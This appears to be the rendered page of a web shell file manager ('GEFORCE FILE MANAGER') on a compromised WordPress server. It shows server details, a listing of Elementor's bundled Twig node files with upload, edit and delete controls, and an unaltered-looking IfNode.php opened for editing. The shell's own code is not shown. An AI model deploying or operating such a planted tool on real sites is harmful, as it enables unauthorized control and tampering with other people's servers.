[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
elementor
/
vendor_prefixed
/
twig
/
twig
/
twig
/
src
/
Node
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 Expression
SET
[ DEL ]
📄 AutoEscapeNode.php
940 B
SET
[ EDIT ]
|
[ DEL ]
📄 BlockNode.php
1,041 B
SET
[ EDIT ]
|
[ DEL ]
📄 BlockReferenceNode.php
902 B
SET
[ EDIT ]
|
[ DEL ]
📄 BodyNode.php
415 B
SET
[ EDIT ]
|
[ DEL ]
📄 CaptureNode.php
1,502 B
SET
[ EDIT ]
|
[ DEL ]
📄 CheckSecurityCallNode.php
622 B
SET
[ EDIT ]
|
[ DEL ]
📄 CheckSecurityNode.php
2,581 B
SET
[ EDIT ]
|
[ DEL ]
📄 CheckToStringNode.php
1,277 B
SET
[ EDIT ]
|
[ DEL ]
📄 DeprecatedNode.php
1,847 B
SET
[ EDIT ]
|
[ DEL ]
📄 DoNode.php
840 B
SET
[ EDIT ]
|
[ DEL ]
📄 EmbedNode.php
1,397 B
SET
[ EDIT ]
|
[ DEL ]
📄 FlushNode.php
700 B
SET
[ EDIT ]
|
[ DEL ]
📄 ForLoopNode.php
1,310 B
SET
[ EDIT ]
|
[ DEL ]
📄 ForNode.php
3,431 B
SET
[ EDIT ]
|
[ DEL ]
📄 IfNode.php
1,648 B
SET
[ EDIT ]
|
[ DEL ]
📄 ImportNode.php
1,587 B
SET
[ EDIT ]
|
[ DEL ]
📄 IncludeNode.php
2,821 B
SET
[ EDIT ]
|
[ DEL ]
📄 MacroNode.php
2,438 B
SET
[ EDIT ]
|
[ DEL ]
📄 ModuleNode.php
12,753 B
SET
[ EDIT ]
|
[ DEL ]
📄 NameDeprecation.php
928 B
SET
[ EDIT ]
|
[ DEL ]
📄 Node.php
7,959 B
SET
[ EDIT ]
|
[ DEL ]
📄 NodeCaptureInterface.php
397 B
SET
[ EDIT ]
|
[ DEL ]
📄 NodeOutputInterface.php
376 B
SET
[ EDIT ]
|
[ DEL ]
📄 PrintNode.php
1,027 B
SET
[ EDIT ]
|
[ DEL ]
📄 SandboxNode.php
1,126 B
SET
[ EDIT ]
|
[ DEL ]
📄 SetNode.php
2,872 B
SET
[ EDIT ]
|
[ DEL ]
📄 TextNode.php
825 B
SET
[ EDIT ]
|
[ DEL ]
📄 WithNode.php
1,956 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: IfNode.php
<?php /* * This file is part of Twig. * * (c) Fabien Potencier * (c) Armin Ronacher * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace ElementorDeps\Twig\Node; use ElementorDeps\Twig\Attribute\YieldReady; use ElementorDeps\Twig\Compiler; /** * Represents an if node. * * @author Fabien Potencier <fabien@symfony.com> */ #[YieldReady] class IfNode extends Node { public function __construct(Node $tests, ?Node $else, int $lineno, ?string $tag = null) { $nodes = ['tests' => $tests]; if (null !== $else) { $nodes['else'] = $else; } parent::__construct($nodes, [], $lineno, $tag); } public function compile(Compiler $compiler) : void { $compiler->addDebugInfo($this); for ($i = 0, $count = \count($this->getNode('tests')); $i < $count; $i += 2) { if ($i > 0) { $compiler->outdent()->write('} elseif ('); } else { $compiler->write('if ('); } $compiler->subcompile($this->getNode('tests')->getNode((string) $i))->raw(") {\n")->indent(); // The node might not exists if the content is empty if ($this->getNode('tests')->hasNode((string) ($i + 1))) { $compiler->subcompile($this->getNode('tests')->getNode((string) ($i + 1))); } } if ($this->hasNode('else')) { $compiler->outdent()->write("} else {\n")->indent()->subcompile($this->getNode('else')); } $compiler->outdent()->write("}\n"); } }